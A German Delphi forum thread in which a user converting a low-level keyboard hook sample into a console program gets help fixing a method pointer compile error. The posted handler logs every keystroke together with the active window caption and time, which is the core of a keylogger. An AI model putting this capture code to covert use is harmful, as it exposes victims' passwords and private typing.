AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Zurück Delphi-PRAXiS Sprachen und Entwicklungsumgebungen Object-Pascal / Delphi-Language Delphi hooks createn in einer konsolen-anwendung
Thema durchsuchen
Ansicht
Themen-Optionen

hooks createn in einer konsolen-anwendung

Ein Thema von ToXiC · begonnen am 16. Nov 2008 · letzter Beitrag vom 17. Nov 2008
Antwort Antwort
ToXiC

Registriert seit: 28. Okt 2007
52 Beiträge
 
Delphi 2005 Personal
 
#1

hooks createn in einer konsolen-anwendung

  Alt 16. Nov 2008, 23:02
ich versuche grad ein codebeispiel(ich glaube hier aus der dp) welches hooks verwendet in eine konsolen-anwendung umzuschreiben
dabei stoße ich beim createn des hooks auf folgendes problem:

[Fehler] Project2.dpr(115): E2009 Inkompatible Typen: 'Methodenzeiger und reguläre Prozedur'

in der folgenden zeile:

Delphi-Quellcode:
  KeyboardHook := TLowLevelKeyboardHook.Create(nil);
  KeyboardHook.OnPreExecute := KeyboardHookPreExecute; //<------
Chris
  Mit Zitat antworten Zitat
Benutzerbild von himitsu
himitsu

Registriert seit: 11. Okt 2003
Ort: Elbflorenz
44.184 Beiträge
 
Delphi 12 Athens
 
#2

Re: hooks createn in einer konsolen-anwendung

  Alt 16. Nov 2008, 23:07
KeyboardHookPreExecute ist "nur" eine Prozedur, aber sie muß eine Prozedur in 'ner Klasse sein.

Wie und wo ist denn KeyboardHookPreExecute definiert?

:= DeineKlassenVariable.KeyboardHookPreExecute
$2B or not $2B
  Mit Zitat antworten Zitat
ToXiC

Registriert seit: 28. Okt 2007
52 Beiträge
 
Delphi 2005 Personal
 
#3

Re: hooks createn in einer konsolen-anwendung

  Alt 16. Nov 2008, 23:18
danke erstmal für deine schnelle antwort.


hier ist der relevante code:



Delphi-Quellcode:
procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
  procedure write(msg: string);
  var pid: dword;
  begin
    if msg <> 'then
    begin
      if (GetForegroundWindow <> accap) then
        begin
        GetWindowThreadProcessID(GetForegroundWindow(),@pid);
        log := log + activecaption + ' - ' + TimeToStr(Time);
        end;
      log := log + msg;
      accap := GetForegroundWindow;
    end;
  end;

var
  pKeyHookStruct: PKBDLLHOOKSTRUCT;
  KeyHookStruct: KBDLLHOOKSTRUCT;
  ch1, ch2: Char;
begin
  pKeyHookStruct := PKBDLLHOOKSTRUCT(Hookmsg.LParam);
  KeyHookStruct := pKeyHookStruct^;
  if (KeyHookStruct.Flags and LLKHF_UP = 0) then //Keydown
  begin
    if IsPrintableKey(KeyHookStruct.vkCode) and vkCodeToChar(KeyHookStruct.vkCode, ch1, ch2) then
      begin
      if ch1 <> #0 then write(ch1);
      if ch2 <> #0 then write(ch2);
      end
    else
      begin

      write(DisplayVKey(KeyHookStruct.vkCode));
      if DisplayVKey(KeyHookStruct.vkCode) = '[Enter]then
        log := log + '
';

      end;
  end;
end;



begin
  KeyboardHook := TLowLevelKeyboardHook.Create(nil);
  KeyboardHook.OnPreExecute := KeyboardHookPreExecute;
  KeyboardHook.Active := true;
  log := '';
end.
die prototypen der procedures sind nicht vorher in irgentwelchen klassen erwähnt worden.
ich weiß nciht ganz genau wie du das mit den klassen meinst.
Chris
  Mit Zitat antworten Zitat
Benutzerbild von himitsu
himitsu

Registriert seit: 11. Okt 2003
Ort: Elbflorenz
44.184 Beiträge
 
Delphi 12 Athens
 
#4

Re: hooks createn in einer konsolen-anwendung

  Alt 16. Nov 2008, 23:43
so, mußte jetzt erstmal suchen wie der Rest definiert ist, aber .OnPreExecute ist als THookNotify definiert und da schau dir mal das "of object" an.

THookNotify = procedure(Hook: THook; var Hookmsg: THookMsg) of object; Also muß die Prozedur eigentlich in einer Klasse liegen.
Delphi-Quellcode:
tDeineKlassenVariable = Class
  procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
end;
PS: Klassen-Prozeduren haben einen versteckten Parameter. (kennst'e vielleicht von TForm ... "Self" )
Man kann also notfalls (ist zwar nicht unbedingt "guter" Code) dieses selber einfügen und es als normale/einzelne Prozedur lassen
procedure KeyboardHookPreExecute(Self: TObject; Hook: THook; var Hookmsg: THookMsg);
$2B or not $2B
  Mit Zitat antworten Zitat
ToXiC

Registriert seit: 28. Okt 2007
52 Beiträge
 
Delphi 2005 Personal
 
#5

Re: hooks createn in einer konsolen-anwendung

  Alt 16. Nov 2008, 23:55
mensch ich bekomms immer noch nicht hin
von einer fehlermeldung zur nächsten:

[Fehler] Project2.dpr(14): E2065 Ungenügende Forward- oder External-Deklaration: 'tbla.KeyboardHookPreExecute'

Delphi-Quellcode:
type
tbla = Class
  procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
end;

var
  KeyboardHook: TLowLevelKeyboardHook;
  bla: tbla;
so hab ichs jetz versuch mit dem ergebis der oben genannten fehlermeldung...
Chris
  Mit Zitat antworten Zitat
Benutzerbild von himitsu
himitsu

Registriert seit: 11. Okt 2003
Ort: Elbflorenz
44.184 Beiträge
 
Delphi 12 Athens
 
#6

Re: hooks createn in einer konsolen-anwendung

  Alt 17. Nov 2008, 00:31
hast du da vielleicht noch was vergessen?
Code:
procedure [b]tbla.[/b]KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
  procedure write(msg: string);
  var pid: dword;
  begin
    if msg <> '' then
    begin
........
PS: vergiß nicht, daß du bei der Variante über die Klasse auch noch die Klasseninstanz erstellen mußt!
Delphi-Quellcode:
// vorher erstellen
bla := tbla.Create;

// übergeben
KeyboardHook.OnPreExecute := bla.KeyboardHookPreExecute;

// und wenn bla.KeyboardHookPreExecute (bzw. diese Funktion
// in KeyboardHook) nicht mehr benötigt wird, dann freigeben
bla.Free;
$2B or not $2B
  Mit Zitat antworten Zitat
Antwort Antwort


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 07:55 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz